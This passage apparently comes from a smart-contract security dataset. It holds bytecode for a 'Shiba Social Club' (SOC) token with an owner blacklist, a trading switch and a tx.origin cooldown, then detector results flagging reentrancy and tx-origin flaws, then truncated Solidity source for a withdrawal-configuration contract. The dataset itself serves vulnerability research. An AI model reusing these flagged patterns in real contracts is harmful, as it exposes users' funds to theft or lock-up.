739061342e565b60405180910390fd5b60005b815181101561080d576001600a60008484815181106107a1576107a061344e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610805906134ac565b91505061077f565b5050565b60606040518060400160405280601181526020017f536869626120536f6369616c20436c7562000000000000000000000000000000815250905090565b600061086261085b611495565b848461149d565b6001905092915050565b610874611495565b73ffffffffffffffffffffffffffffffffffffffff16610892610f65565b73ffffffffffffffffffffffffffffffffffffffff16146108e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108df9061342e565b60405180910390fd5b81600681905550806007819055505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b6000610937848484611668565b6109f884610943611495565b6109f385604051806060016040528060288152602001613f9060289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109a9611495565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b61149d565b600190509392505050565b60105481565b60006009905090565b610a1a611495565b73ffffffffffffffffffffffffffffffffffffffff16610a38610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610a8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a859061342e565b60405180910390fd5b80600d60146101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ad9611495565b73ffffffffffffffffffffffffffffffffffffffff16610af7610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b449061342e565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610bb0611495565b73ffffffffffffffffffffffffffffffffffffffff16610bce610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1b9061342e565b60405180910390fd5b60005b84849050811015610c9157610c7d33868684818110610c4957610c4861344e565b5b9050602002016020810190610c5e9190613348565b858585818110610c7157610c7061344e565b5b90506020020135612062565b508080610c89906134ac565b915050610c27565b5050505050565b610ca0611495565b73ffffffffffffffffffffffffffffffffffffffff16610cbe610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610d14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0b9061342e565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610d77611495565b73ffffffffffffffffffffffffffffffffffffffff16610d95610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610deb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de29061342e565b60405180910390fd5b80600d60166101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e59611495565b73ffffffffffffffffffffffffffffffffffffffff16610e77610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610ecd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec49061342e565b60405180910390fd5b610ed76000612235565b565b610ee1611495565b73ffffffffffffffffffffffffffffffffffffffff16610eff610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4c9061342e565b60405180910390fd5b80600e8190555050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610f96611495565b73ffffffffffffffffffffffffffffffffffffffff16610fb4610f65565b73ffffffffffffffffffffffffffffffffffffffff161461100a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110019061342e565b60405180910390fd5b600d60179054906101000a900460ff1615600d60176101000a81548160ff021916908315150217905550565b600f5481565b60606040518060400160405280600381526020017f534f430000000000000000000000000000000000000000000000000000000000815250905090565b611081611495565b73ffffffffffffffffffffffffffffffffffffffff1661109f610f65565b73ffffffffffffffffffffffffffffffffffffffff16146110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ec9061342e565b60405180910390fd5b8060108190555050565b600061111361110c611495565b8484611668565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b611145611495565b73ffffffffffffffffffffffffffffffffffffffff16611163610f65565b73ffffffffffffffffffffffffffffffffffffffff16146111b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b09061342e565b60405180910390fd5b60006111c430610e08565b90506111cf816122f9565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611261611495565b73ffffffffffffffffffffffffffffffffffffffff1661127f610f65565b73ffffffffffffffffffffffffffffffffffffffff16146112d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cc9061342e565b60405180910390fd5b80600f8190555050565b6112e7611495565b73ffffffffffffffffffffffffffffffffffffffff16611305610f65565b73ffffffffffffffffffffffffffffffffffffffff161461135b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113529061342e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290613567565b60405180910390fd5b6000600460006113d9610f65565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061143381612235565b600160046000611441610f65565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611504906135f9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561157d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115749061368b565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165b91906130ae565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cf9061371d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f906137af565b60405180910390fd5b6000811161178b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178290613841565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561182f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c8757600d60149054906101000a900460ff16611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a906138ad565b60405180910390fd5b600e548111156118c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bf90613919565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561196c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a2906139ab565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611baa57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a695750600d60179054906101000a900460ff165b15611b52574260b4600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abb91906139cb565b108015611b1257504260b4600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1091906139cb565b105b611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890613a93565b60405180910390fd5b5b600f5481611b5f84610e08565b611b6991906139cb565b10611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba090613b25565b60405180910390fd5b5b6000611bb530610e08565b9050600060105482101590506010548210611bd05760105491505b808015611bea5750600d60159054906101000a900460ff16155b8015611c445750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5c5750600d60169054906101000a900460ff165b15611c8457611c6a826122f9565b60004790506000811115611c8257611c814761260c565b5b505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d2e5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611de15750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611de05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611def5760009050611f64565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e9a5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ea9576006546008819055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f545750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f63576007546008819055505b5b42600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff884848484612678565b50505050565b6000838311158290612046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203d9190612f17565b60405180910390fd5b50600083856120559190613b45565b9050809150509392505050565b60006120ed826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161222291906130ae565b60405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600d60156101000a81548160ff021916908315150217905550600061233d606461232f6055856126fe90919063ffffffff16565b61277990919063ffffffff16565b90506000818361234d9190613b45565b905060004790506000600267ffffffffffffffff81111561237157612370612ca5565b5b60405190808252806020026020018201604052801561239f5781602001602082028036833780820191505090505b50905030816000815181106123b7576123b661344e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561245957600080fd5b505afa15801561246d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124919190613b8e565b816001815181106124a5576124a461344e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250c30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168761149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401612570959493929190613cb4565b600060405180830381600087803b15801561258a57600080fd5b505af115801561259e573d6000803e3d6000fd5b5050505060006125b783476127c390919063ffffffff16565b90506125e9846125e460646125d6600f866126fe90919063ffffffff16565b61277990919063ffffffff16565b61280d565b50505050506000600d60156101000a81548160ff02191690831515021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612674573d6000803e3d6000fd5b5050565b8061268e57612688848484612062565b5061269a565b6126998484846128fb565b5b50505050565b60008082846126af91906139cb565b9050838110156126f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126eb90613d5a565b60405180910390fd5b8091505092915050565b6000808314156127115760009050612773565b6000828461271f9190613d7a565b905082848261272e9190613e03565b1461276e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276590613ea6565b60405180910390fd5b809150505b92915050565b60006127bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ad5565b905092915050565b600061280583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ffe565b905092915050565b61283a30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806000426040518863ffffffff1660e01b81526004016128a296959493929190613ec6565b6060604051808303818588803b1580156128bb57600080fd5b505af11580156128cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128f49190613f3c565b5050505050565b60006129078483612b38565b9050612992826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a2781600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ac791906130ae565b60405180910390a350505050565b60008083118290612b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b139190612f17565b60405180910390fd5b5060008385612b2b9190613e03565b9050809150509392505050565b600080612b636064612b55600854866126fe90919063ffffffff16565b61277990919063ffffffff16565b9050612bb781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c5791906130ae565b60405180910390a3612c7281846127c390919063ffffffff16565b91505092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612cdd82612c94565b810181811067ffffffffffffffff82111715612cfc57612cfb612ca5565b5b80604052505050565b6000612d0f612c7b565b9050612d1b8282612cd4565b919050565b600067ffffffffffffffff821115612d3b57612d3a612ca5565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612d7c82612d51565b9050919050565b612d8c81612d71565b8114612d9757600080fd5b50565b600081359050612da981612d83565b92915050565b6000612dc2612dbd84612d20565b612d05565b90508083825260208201905060208402830185811115612de557612de4612d4c565b5b835b81811015612e0e5780612dfa8882612d9a565b845260208401935050602081019050612de7565b5050509392505050565b600082601f830112612e2d57612e2c612c8f565b5b8135612e3d848260208601612daf565b91505092915050565b600060208284031215612e5c57612e5b612c85565b5b600082013567ffffffffffffffff811115612e7a57612e79612c8a565b5b612e8684828501612e18565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ec9578082015181840152602081019050612eae565b83811115612ed8576000848401525b50505050565b6000612ee982612e8f565b612ef38185612e9a565b9350612f03818560208601612eab565b612f0c81612c94565b840191505092915050565b60006020820190508181036000830152612f318184612ede565b905092915050565b6000819050919050565b612f4c81612f39565b8114612f5757600080fd5b50565b600081359050612f6981612f43565b92915050565b60008060408385031215612f8657612f85612c85565b5b6000612f9485828601612d9a565b9250506020612fa585828601612f5a565b9150509250929050565b60008115159050919050565b612fc481612faf565b82525050565b6000602082019050612fdf6000830184612fbb565b92915050565b60008060408385031215612ffc57612ffb612c85565b5b600061300a85828601612f5a565b925050602061301b85828601612f5a565b9150509250929050565b6000819050919050565b600061304a61304561304084612d51565b613025565b612d51565b9050919050565b600061305c8261302f565b9050919050565b600061306e82613051565b9050919050565b61307e81613063565b82525050565b60006020820190506130996000830184613075565b92915050565b6130a881612f39565b82525050565b60006020820190506130c3600083018461309f565b92915050565b6000806000606084860312156130e2576130e1612c85565b5b60006130f086828701612d9a565b935050602061310186828701612d9a565b925050604061311286828701612f5a565b9150509250925092565b600060ff82169050919050565b6131328161311c565b82525050565b600060208201905061314d6000830184613129565b92915050565b61315c81612faf565b811461316757600080fd5b50565b60008135905061317981613153565b92915050565b60006020828403121561319557613194612c85565b5b60006131a38482850161316a565b91505092915050565b6131b581612d71565b82525050565b60006020820190506131d060008301846131ac565b92915050565b600080604083850312156131ed576131ec612c85565b5b60006131fb85828601612d9a565b925050602061320c8582860161316a565b9150509250929050565b600080fd5b60008083601f84011261323157613230612c8f565b5b8235905067ffffffffffffffff81111561324e5761324d613216565b5b60208301915083602082028301111561326a57613269612d4c565b5b9250929050565b60008083601f84011261328757613286612c8f565b5b8235905067ffffffffffffffff8111156132a4576132a3613216565b5b6020830191508360208202830111156132c0576132bf612d4c565b5b9250929050565b600080600080604085870312156132e1576132e0612c85565b5b600085013567ffffffffffffffff8111156132ff576132fe612c8a565b5b61330b8782880161321b565b9450945050602085013567ffffffffffffffff81111561332e5761332d612c8a565b5b61333a87828801613271565b925092505092959194509250565b60006020828403121561335e5761335d612c85565b5b600061336c84828501612d9a565b91505092915050565b60006020828403121561338b5761338a612c85565b5b600061339984828501612f5a565b91505092915050565b600080604083850312156133b9576133b8612c85565b5b60006133c785828601612d9a565b92505060206133d885828601612d9a565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613418602083612e9a565b9150613423826133e2565b602082019050919050565b600060208201905081810360008301526134478161340b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006134b782612f39565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134ea576134e961347d565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613551602683612e9a565b915061355c826134f5565b604082019050919050565b6000602082019050818103600083015261358081613544565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006135e3602483612e9a565b91506135ee82613587565b604082019050919050565b60006020820190508181036000830152613612816135d6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613675602283612e9a565b915061368082613619565b604082019050919050565b600060208201905081810360008301526136a481613668565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613707602583612e9a565b9150613712826136ab565b604082019050919050565b60006020820190508181036000830152613736816136fa565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613799602383612e9a565b91506137a48261373d565b604082019050919050565b600060208201905081810360008301526137c88161378c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061382b602983612e9a565b9150613836826137cf565b604082019050919050565b6000602082019050818103600083015261385a8161381e565b9050919050565b7f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000600082015250565b6000613897601e83612e9a565b91506138a282613861565b602082019050919050565b600060208201905081810360008301526138c68161388a565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613903601c83612e9a565b915061390e826138cd565b602082019050919050565b60006020820190508181036000830152613932816138f6565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613995602383612e9a565b91506139a082613939565b604082019050919050565b600060208201905081810360008301526139c481613988565b9050919050565b60006139d682612f39565b91506139e183612f39565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a1657613a1561347d565b5b828201905092915050565b7f544f4b454e3a2033206d696e7574657320636f6f6c646f776e2062657477656560008201527f6e20627579730000000000000000000000000000000000000000000000000000602082015250565b6000613a7d602683612e9a565b9150613a8882613a21565b604082019050919050565b60006020820190508181036000830152613aac81613a70565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613b0f602383612e9a565b9150613b1a82613ab3565b604082019050919050565b60006020820190508181036000830152613b3e81613b02565b9050919050565b6000613b5082612f39565b9150613b5b83612f39565b925082821015613b6e57613b6d61347d565b5b828203905092915050565b600081519050613b8881612d83565b92915050565b600060208284031215613ba457613ba3612c85565b5b6000613bb284828501613b79565b91505092915050565b6000819050919050565b6000613be0613bdb613bd684613bbb565b613025565b612f39565b9050919050565b613bf081613bc5565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613c2b81612d71565b82525050565b6000613c3d8383613c22565b60208301905092915050565b6000602082019050919050565b6000613c6182613bf6565b613c6b8185613c01565b9350613c7683613c12565b8060005b83811015613ca7578151613c8e8882613c31565b9750613c9983613c49565b925050600181019050613c7a565b5085935050505092915050565b600060a082019050613cc9600083018861309f565b613cd66020830187613be7565b8181036040830152613ce88186613c56565b9050613cf760608301856131ac565b613d04608083018461309f565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613d44601b83612e9a565b9150613d4f82613d0e565b602082019050919050565b60006020820190508181036000830152613d7381613d37565b9050919050565b6000613d8582612f39565b9150613d9083612f39565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613dc957613dc861347d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613e0e82612f39565b9150613e1983612f39565b925082613e2957613e28613dd4565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e90602183612e9a565b9150613e9b82613e34565b604082019050919050565b60006020820190508181036000830152613ebf81613e83565b9050919050565b600060c082019050613edb60008301896131ac565b613ee8602083018861309f565b613ef56040830187613be7565b613f026060830186613be7565b613f0f60808301856131ac565b613f1c60a083018461309f565b979650505050505050565b600081519050613f3681612f43565b92915050565b600080600060608486031215613f5557613f54612c85565b5b6000613f6386828701613f27565b9350506020613f7486828701613f27565b9250506040613f8586828701613f27565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ce15d1bd5978318730e0c9c2846cc53d1ab6fea0f8c974317991d55d30b8455064736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,012 |
0x88f49da7ad7f9bd5caf1be580c332ade0cd135ff
|
pragma solidity ^0.4.24;
contract IERC20Token {
// these functions aren't abstract since the compiler emits automatically generated getter functions as external
function name() public constant returns (string) {}
function symbol() public constant returns (string) {}
function decimals() public constant returns (uint8) {}
function totalSupply() public constant returns (uint256) {}
function balanceOf(address _owner) public constant returns (uint256) { _owner; }
function allowance(address _owner, address _spender) public constant returns (uint256) { _owner; _spender; }
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
address public newOwner;
event OwnerUpdate(address _prevOwner, address _newOwner);
/*
@dev constructor
*/
constructor (address _owner) public {
owner = _owner;
}
/*
@dev allows execution by the owner only
*/
modifier ownerOnly {
require(msg.sender == owner);
_;
}
/*
@dev allows transferring the contract ownership
the new owner still needs to accept the transfer
can only be called by the contract owner
@param _newOwner new contract owner
*/
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
newOwner = _newOwner;
}
/*
@dev used by a new owner to accept an ownership transfer
*/
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Utils {
/*
@dev constructor
*/
constructor() public {
}
/*
@dev verifies that an amount is greater than zero
*/
modifier greaterThanZero(uint256 _amount) {
require(_amount > 0);
_;
}
/*
@dev validates an address - currently only checks that it isn't null
*/
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
/*
@dev verifies that the address is different than this contract address
*/
modifier notThis(address _address) {
require(_address != address(this));
_;
}
/*
@dev verifies that the string is not empty
*/
modifier notEmpty(string _str) {
require(bytes(_str).length > 0);
_;
}
// Overflow protected math functions
/*
@dev returns the sum of _x and _y, asserts if the calculation overflows
@param _x value 1
@param _y value 2
@return sum
*/
function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) {
uint256 z = _x + _y;
assert(z >= _x);
return z;
}
/*
@dev returns the difference of _x minus _y, asserts if the subtraction results in a negative number
@param _x minuend
@param _y subtrahend
@return difference
*/
function safeSub(uint256 _x, uint256 _y) internal pure returns (uint256) {
require(_x >= _y);
return _x - _y;
}
/*
@dev returns the product of multiplying _x by _y, asserts if the calculation overflows
@param _x factor 1
@param _y factor 2
@return product
*/
function safeMul(uint256 _x, uint256 _y) internal pure returns (uint256) {
uint256 z = _x * _y;
assert(_x == 0 || z / _x == _y);
return z;
}
}
contract WithdrawalConfigurations is Ownable, Utils {
/*
* Members
*/
uint public minWithdrawalCoolingPeriod;
uint constant maxWithdrawalCoolingPeriod = 12 * 1 weeks; // = 14515200 seconds
uint public withdrawalCoolingPeriod;
/*
* Events
*/
event WithdrawalRequested(address _sender, address _smartWallet);
event SetWithdrawalCoolingPeriod(uint _withdrawalCoolingPeriod);
/*
@dev constructor
@param _withdrawalCoolingPeriod The cooling period
@param _minWithdrawalCoolingPeriod The minimum time from withdraw request to allow performing it
*/
constructor (uint _withdrawalCoolingPeriod, uint _minWithdrawalCoolingPeriod)
Ownable(msg.sender)
public
{
require(_withdrawalCoolingPeriod <= maxWithdrawalCoolingPeriod &&
_withdrawalCoolingPeriod >= _minWithdrawalCoolingPeriod);
require(_minWithdrawalCoolingPeriod >= 0);
minWithdrawalCoolingPeriod = _minWithdrawalCoolingPeriod;
withdrawalCoolingPeriod = _withdrawalCoolingPeriod;
}
/*
@dev Get the withdrawalCoolingPeriod parameter value.
*/
function getWithdrawalCoolingPeriod() external view returns(uint) {
return withdrawalCoolingPeriod;
}
/*
@dev Set the withdrawalCoolingPeriod parameter value.
